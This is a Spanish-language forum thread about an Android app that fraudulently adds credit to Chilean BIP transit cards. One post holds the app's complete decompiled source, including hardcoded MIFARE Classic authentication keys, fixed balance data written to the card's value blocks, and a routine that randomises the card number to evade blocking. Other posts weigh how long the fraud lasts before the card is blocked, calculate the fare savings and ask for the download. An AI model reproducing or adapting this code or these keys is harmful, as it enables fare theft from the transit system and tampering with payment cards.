Crean aplicación que permite cargar dinero de forma fraudulenta en tarjeta BIP

Discussion in 'Cementerio De Temas' started by DE TRANS, Oct 17, 2014.

Thread Status:
Not open for further replies.
  1. kaxper

    kaxper Usuario Nuevo nvl. 1
    7/41

    Joined:
    Aug 17, 2008
    Messages:
    48
    Likes Received:
    0
    supe que bloquearon las bip y el tema de cambiar el numero con la app no funka
     
  2. niculeas

    niculeas Usuario Nuevo nvl. 1
    1/41

    Joined:
    Oct 20, 2014
    Messages:
    1
    Likes Received:
    0
    Es efectivo, sólo funciona una vez, al pasar el día la tarjeta queda totalmente bloqueada. el bloqueo es al numero de chip y no al numero de tarjeta, por lo cual queda un pedaso de plastico que no sirve... por ahora...
     
  3. Nahueloco

    Nahueloco Usuario Casual nvl. 2
    36/41

    Joined:
    Feb 2, 2014
    Messages:
    1,652
    Likes Received:
    0
    descompilado con http://www.decompileandroid.com/


    // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.// Jad home page: http://www.geocities.com/kpdus/jad.html// Decompiler options: braces fieldsfirst space lncpackage com.example.puntobip;import android.app.Activity;import android.app.AlertDialog;import android.app.PendingIntent;import android.content.Intent;import android.content.IntentFilter;import android.content.res.Resources;import android.nfc.NfcAdapter;import android.nfc.Tag;import android.nfc.tech.MifareClassic;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.TextView;import android.widget.Toast;import java.io.IOException;import java.util.Random;// Referenced classes of package com.example.puntobip:// TapDialogpublic class MainActivity extends Activity{ private final byte DATA_CARGA_B21[]; private final byte DATA_CARGA_B22[]; private final int DIALOG_CARGAR = 2; private final int DIALOG_NUMERO = 3; private final int DIALOG_SALDO = 1; private final byte KEY_B_SECTOR_0[] = { 31, -62, 53, -84, 19, 9 }; private final byte KEY_B_SECTOR_8[] = { 100, -29, -63, 3, -108, -62 }; private IntentFilter mFilters[]; private NfcAdapter mNfcAdapter; private PendingIntent mPendingIntent; private String mTechList[][]; private TapDialog tapDialog; public MainActivity() { byte abyte0[] = new byte[16]; abyte0[0] = 16; abyte0[1] = 39; abyte0[4] = -17; abyte0[5] = -40; abyte0[6] = -1; abyte0[7] = -1; abyte0[8] = 16; abyte0[9] = 39; abyte0[12] = 33; abyte0[13] = -34; abyte0[14] = 33; abyte0[15] = -34; DATA_CARGA_B21 = abyte0; byte abyte1[] = new byte[16]; abyte1[0] = 16; abyte1[1] = 39; abyte1[4] = -17; abyte1[5] = -40; abyte1[6] = -1; abyte1[7] = -1; abyte1[8] = 16; abyte1[9] = 39; abyte1[12] = 34; abyte1[13] = -35; abyte1[14] = 34; abyte1[15] = -35; DATA_CARGA_B22 = abyte1; } private String formatMoneda(long l) { StringBuilder stringbuilder = new StringBuilder("$"); Object aobj[] = new Object[1]; aobj[0] = Long.valueOf(l); return stringbuilder.append(String.format("%,d", aobj)).toString(); } private void inicializarNFC() { mNfcAdapter = NfcAdapter.getDefaultAdapter(this); if (mNfcAdapter == null) { Toast.makeText(this, "Este dispositivo no soporta NFC.", 1).show(); finish(); return; } if (!mNfcAdapter.isEnabled()) { AlertDialog alertdialog = (new android.app.AlertDialog.Builder(this)).create(); alertdialog.setTitle("NFC deshabilitado"); alertdialog.setMessage("Su NFC est\341 deshabilitado.\nIngrese a las opciones de configuraci\363n y activelo."); alertdialog.show(); } mPendingIntent = PendingIntent.getActivity(this, 0, (new Intent(this, getClass())).addFlags(0x20000000), 0); IntentFilter intentfilter = new IntentFilter("android.nfc.action.TECH_DISCOVERED"); String as[][]; String as1[]; try { intentfilter.addDataType("*/*"); } catch (android.content.IntentFilter.MalformedMimeTypeException malformedmimetypeexception) { throw new RuntimeException("error", malformedmimetypeexception); } mFilters = (new IntentFilter[] { intentfilter }); as = new String[1][]; as1 = new String[1]; as1[0] = android/nfc/tech/MifareClassic.getName(); as[0] = as1; mTechList = as; } private long leToNumeric(byte abyte0[], int i) { long l = 0L; int j = 0; do { if (j >= i) { return l; } l += (255L & (long)abyte0[j]) << j * 8; j++; } while (true); } private String leToNumericString(byte abyte0[], int i) { return String.valueOf(leToNumeric(abyte0, i)); } private void showTapDialog(String s, int i) { if (tapDialog == null) { tapDialog = new TapDialog(this); tapDialog.setCanceledOnTouchOutside(false); } tapDialog.setTitle(s); tapDialog.setTag(i); tapDialog.show(); } public void onCambiarNumero(View view) { showTapDialog(getResources().getString(0x7f0a0010), 3); } public void onCargarSaldo(View view) { showTapDialog(getResources().getString(0x7f0a000f), 2); } protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(0x7f030018); showTapDialog(getResources().getString(0x7f0a000e), 1); inicializarNFC(); } protected void onNewIntent(Intent intent) { if (!"android.nfc.action.TECH_DISCOVERED".equals(intent.getAction())) goto _L2; else goto _L1_L1: MifareClassic mifareclassic = MifareClassic.get((Tag)intent.getParcelableExtra("android.nfc.extra.TAG")); mifareclassic.connect(); if (!tapDialog.isShowing()) goto _L4; else goto _L3_L3: tapDialog.getTag(); JVM INSTR tableswitch 2 3: default 68 // 2 236 // 3 331; goto _L4 _L5 _L6_L4: TextView textview1; TextView textview2; TextView textview = (TextView)findViewById(0x7f05003d); textview1 = (TextView)findViewById(0x7f05003e); textview2 = (TextView)findViewById(0x7f05003f); textview.setText(leToNumericString(mifareclassic.getTag().getId(), 4)); if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0)) goto _L8; else goto _L7_L7: byte abyte0[] = mifareclassic.readBlock(1); byte abyte1[] = new byte[4]; abyte1[0] = abyte0[4]; abyte1[1] = abyte0[5]; abyte1[2] = abyte0[6]; abyte1[3] = abyte0[7]; textview1.setText(leToNumericString(abyte1, 4));_L9: if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8)) { break MISSING_BLOCK_LABEL_459; } textview2.setText(formatMoneda(leToNumeric(mifareclassic.readBlock(33), 2)));_L10: Exception exception; Exception exception1; try { mifareclassic.close(); } catch (IOException ioexception2) { }_L2: tapDialog.dismiss(); return;_L5: if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8)) { break MISSING_BLOCK_LABEL_310; } mifareclassic.writeBlock(33, DATA_CARGA_B21); mifareclassic.writeBlock(34, DATA_CARGA_B22); goto _L4 exception1; Log.e("error", exception1.getLocalizedMessage()); Toast.makeText(this, exception1.getLocalizedMessage(), 1).show(); try { mifareclassic.close(); } catch (IOException ioexception1) { } goto _L2 Toast.makeText(this, "error autenticando sector 0x21", 1).show(); goto _L4 exception; byte abyte2[]; Random random; try { mifareclassic.close(); } catch (IOException ioexception) { } throw exception;_L6:label0: { if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0)) { break label0; } abyte2 = mifareclassic.readBlock(1); random = new Random(); abyte2[4] = (byte)(0 + random.nextInt(256)); abyte2[5] = (byte)(0 + random.nextInt(256)); abyte2[6] = (byte)(0 + random.nextInt(256)); abyte2[7] = (byte)(0 + random.nextInt(256)); mifareclassic.writeBlock(1, abyte2); } goto _L4 Toast.makeText(this, "error autenticando sector 0x00", 1).show(); goto _L4_L8: Toast.makeText(this, "error autenticando sector 0x00", 1).show(); goto _L9 Toast.makeText(this, "error autenticando sector 0x21", 1).show(); goto _L10 } protected void onPause() { super.onPause(); mNfcAdapter.disableForegroundDispatch(this); } protected void onResume() { super.onResume(); mNfcAdapter.enableForegroundDispatch(this, mPendingIntent, mFilters, mTechList); }
     
  4. Darkan

    Darkan Usuario Nuevo nvl. 1
    6/41

    Joined:
    Jan 28, 2008
    Messages:
    51
    Likes Received:
    0
    Cabros... Tengo una duda con respecto a esta wea y si hay algun entendido del tema, se agradece su aporte: Leí por ahi en un foro que si haces la carga de 10.000 y despues haces una carga normal por más de 1.000 podría pasar piola.

    Alguien ha hecho la prueba con la tarjeta normal???

    Como dato: A un amigo ya le bloquearon la tarjeta bip y trato de cambiar el número de tarjeta varias veces, pero queda bloqueada igual. Así que confirmado, los wns del Metro te bloquean el chip permanentemente.
     
  5. zock_foul

    zock_foul Usuario Nuevo nvl. 1
    17/41

    Joined:
    Jul 17, 2009
    Messages:
    626
    Likes Received:
    1
    Al parecer es bloqueo por UID, no por el N° de tarjeta y eso NO se puede cambiar...es solo de lectura y no escritura.


    Ejemplo practico:


    *El ultimo saldo que reporta la bip que tenia es por ejemplo $920.


    * Hipotéticamente le cargo los $10000 con la app.


    *Paso por un validador y efectivamente me funciona y me descuenta del saldo.


    *Al cabo de 1 o 2 días que se demora en actualizarse la info de la bip en las BD's, encuentra que tengo un saldo de 9000 y tantos pesos cuando debería ser 300 y tantos pesos si es que en esos días solo pase por un validador. Claramente esta descuadrado, tomando en cuenta también que no figura ninguna recarga desde algún centro de carga. Encontrar ese descuadre es super simple con un Procedure.


    Yo cacho que estaban tan confiados en que la wea era segura y no tomaron en cuenta las informaciones que decían lo contrario, recién ahora empezaron a hacer esa comprobacion.


    Conclusión: Funciona dicen todos, pero te dura por 2 o 3 días a lo sumo. si sacamos la cuenta en platita seria algo asi (no se cuanto vale la micro xq pago escolar XD, pero son como 630 aprox), suponiendo que voy a trabajar de lunes a viernes, una micro de ida y otra de vuelta.


    *** 630x4 = $2530 pesos (suponiendo que te dure 2 días la Bip hasta que te la bloquean)
    *** $1400 valor de una BIP


    lo que gastas en micro - valor de la BIP = $1130 que te ahorras por dos días de locomocion


    Suponiendo que son 20 días al mes que vas a trabajar


    $1130 * 10 = $11300 que te estarías ahorrando en el mes.

    A la gente igual el va a servir aunque las Bip pasen a ser desechables, para arreglar esta cagadita como corresponde van a tener qeu desembolsar el medio billete.

    MEDIA CAGA! xDDDDDDDDDDDDD
     
    #113 zock_foul, Oct 20, 2014
    Last edited: Oct 21, 2014
  6. superbrommer

    superbrommer Usuario Nuevo nvl. 1
    17/41

    Joined:
    Jul 26, 2007
    Messages:
    795
    Likes Received:
    1
    Asi es, tremenda cagaita.. y creo que ahora Sonda tendrá problemas, no sólo con el gobierno, si no que en el extranjero, ya que lei por ahí que el gobierno panameño les esta exigiendo mayor seguridad en los proyectos que esta empresa tiene por esos lados..
    Por weones..por no crear un buen sistema, y por hacerse ricos con un sistema que fue mal diseñado desde el principio.
     
  7. darlink

    darlink Usuario Nuevo nvl. 1
    1/41

    Joined:
    Oct 22, 2014
    Messages:
    1
    Likes Received:
    0
    pero como xuxa los weones k piden weas pa cambiar la ip no se dan cuenta k ahy gente k no tiene la apk y lapiden y la piden y no hay ningun conchesumare k tire el link de descarga pak lo vean todos no sean weones y piensen enlos demas po wn
     
  8. cerber

    cerber Usuario Nuevo nvl. 1
    16/41

    Joined:
    Jul 7, 2009
    Messages:
    210
    Likes Received:
    0
    que dijo? xD
     
  9. Maxelll

    Maxelll Usuario Nuevo nvl. 1
    16/41

    Joined:
    Oct 15, 2014
    Messages:
    119
    Likes Received:
    0
    yo quiero llenar mi tarjeta asi , vengo llegando en transantiago y es una mierda , enserio todos cagados de calor y la micro llena ... no se merece el gobierno que uno les pague legalmente un sistema y diseño de microbuses hecho para discapacitados ..... maldito diseño de buses ... es pesimo.
    donde estan las instrucciones para cargar mi tarjeta como dicen ?
     
  10. sharpito

    sharpito Usuario Habitual nvl.3 ★
    197/244

    Joined:
    Oct 9, 2007
    Messages:
    24,112
    Likes Received:
    51

    notese mas llena sera porque es gratis ahora sera el doble de calor :loca::loca:
     
  11. the_flp

    the_flp Usuario Nuevo nvl. 1
    7/41

    Joined:
    Oct 17, 2014
    Messages:
    41
    Likes Received:
    0
    alguien tiene informacion de la nueva aplicacion, yo la vi rn youtube y el loco cargaba con el saldo que el queria, estara circulando la aplicacionn??? :1313:
     
  12. zock_foul

    zock_foul Usuario Nuevo nvl. 1
    17/41

    Joined:
    Jul 17, 2009
    Messages:
    626
    Likes Received:
    1
    Darklink -> 1 Mensaje -> Registrado 22 Octubre
    Maxell -> 17 Mensaje -> Registrado 15 Octubre
    the_flp -> 6 Mensaje -> Registrado 17 Octubre

    Como diría Ruperto: "Así nomas po'".
     
Thread Status:
Not open for further replies.